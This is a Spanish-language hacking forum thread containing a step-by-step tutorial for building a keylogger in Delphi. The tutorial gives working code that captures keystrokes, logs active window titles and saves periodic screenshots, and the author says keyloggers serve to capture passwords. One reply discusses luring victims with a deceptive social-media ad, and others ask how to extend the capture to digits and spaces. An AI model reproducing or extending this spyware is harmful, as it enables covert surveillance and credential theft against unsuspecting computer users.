elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [Delphi] Creacion de un Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] Creacion de un Keylogger  (Leído 5,782 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] Creacion de un Keylogger
« en: 9 Septiembre 2013, 18:21 pm »

[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :



Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código
  1. procedure TForm1.Timer1Timer(Sender: TObject);
  2. var
  3.  i: integer; // Declaramos la variable i como entero
  4.  re: Longint; // Declaramos la variable re como longint
  5.  mayus: integer; // Declaramos la variable mayus como entero
  6.  
  7. begin
  8.  
  9.  if (GetKeyState(20) = 0) then // Si se presiona mayus
  10.  begin
  11.    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  12.  end
  13.  else
  14.  begin
  15.    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  16.  end;
  17.  
  18.  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  19.  begin
  20.  
  21.    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
  22.    If re = -32767 then // Contolamos que la variable re sea igual a -32767
  23.    Begin
  24.  
  25.      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
  26.      // Mas la variabe mayus
  27.    End;
  28.  end;
  29.  
  30. end;
  31.  

Una imagen con todo el codigo comentado :



Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código
  1. private Nombre2: string;
  2.  

Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código
  1. procedure TForm1.Timer2Timer(Sender: TObject);
  2. var
  3.  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  4.  nombre1: string; // Declaramos nombre1 como string
  5.  
  6.  // Add :
  7.  // private
  8.  // Nombre2: string;
  9.  
  10. begin
  11.  
  12.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  13.  // Capturamos el nombre de la
  14.  // ventana
  15.  
  16.  nombre1 := ventana1; // nombre1 tendra el valor de ventana1
  17.  
  18.  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  19.  begin
  20.    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
  21.    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  22.  end;
  23. end;
  24.  

Una imagen con el codigo comentado :



Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código
  1. procedure TForm1.Timer3Timer(Sender: TObject);
  2. var
  3.  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  4.  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  5.  ventana: HDC; // Declaramos aca como HDC
  6.  
  7. begin
  8.  
  9.  // Agregar "Jpeg" a "uses"
  10.  
  11.  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca
  12.  
  13.  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  14.  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  15.  foto1.Height := Screen.Height; // Capturamos el tamaño
  16.  foto1.Width := Screen.Width; // Capturamos el tamaño
  17.  
  18.  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
  19.    SRCCOPY); // Tomamos la foto con los datos antes usados
  20.  
  21.  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  22.  foto2.Assign(foto1); // Asignamos foto1 en foto2
  23.  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen
  24.  
  25.  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  26.  // Guardamos la foto tomada
  27.  // con un valor numerico
  28.  // aleatorio mas el formato
  29.  // '.jpg'
  30.  
  31. end;
  32.  

Una imagen con el codigo comentado :



Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :



Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :



Eso seria todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--

En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: [Delphi] Creacion de un Keylogger
« Respuesta #1 en: 9 Septiembre 2013, 18:52 pm »

 Por lo que veo estas utilizando las runtime de borland  :silbar: .. Tendrias que explicar tambien como construir el exe con la runtime necesarias para que se ejecute en cualquier ordenador ... y si mas no recuerdo cargar todas estas librerias te crean un exe con por lo menos 700 kb de tamaño .
En línea

gerardosky

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: [Delphi] Creacion de un Keylogger
« Respuesta #2 en: 16 Septiembre 2013, 00:29 am »

Buenas amigos yo mirando esto y con el pdf trate de hacer  un keylogger, pero al pulsar elsegundo timer me decia algo asi cmo q en el primer timer no se le nombraba o asi,pero en el tercer timer si me deja codearlo, en definitiva, no entiendo que pasa :-(
En línea

naxo_valladolid

Desconectado Desconectado

Mensajes: 151



Ver Perfil
Re: [Delphi] Creacion de un Keylogger
« Respuesta #3 en: 22 Septiembre 2013, 14:30 pm »

dudas

para esto la victima se lo tiene que descargar cosa que mucha gente pasa de bajar o descomprimir nada.....me dijeron que probase a crear una publicidad para red social en plan " dar click para cerrar"
En línea

Fabian994

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Delphi] Creacion de un Keylogger
« Respuesta #4 en: 12 Octubre 2014, 03:46 am »

Hola me a servido con las letras pero no captura los números ni los espacios ni los caracteres que debo hacer
En línea

Fabian994

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: [Delphi] Creacion de un Keylogger
« Respuesta #5 en: 12 Octubre 2014, 03:49 am »

solo funciona con las letras pero no con números o caracteres que debo hacer
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Delphi] Creacion de un Server Builder « 1 2 »
Programación General
BigBear 11 5,390 Último mensaje 17 Julio 2013, 13:16 pm
por OmarHack
[Delphi] Creacion de un Joiner
Programación General
BigBear 0 1,737 Último mensaje 29 Agosto 2013, 01:16 am
por BigBear
[Delphi] Creacion de un IRC Bot
Análisis y Diseño de Malware
BigBear 0 3,175 Último mensaje 24 Septiembre 2013, 21:37 pm
por BigBear
[Delphi] Creacion de un Crypter
Análisis y Diseño de Malware
BigBear 0 3,002 Último mensaje 12 Abril 2015, 21:54 pm
por BigBear
problema con creacion de keylogger python!!
Scripting
eliander20 0 2,148 Último mensaje 17 Septiembre 2016, 11:07 am
por eliander20
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines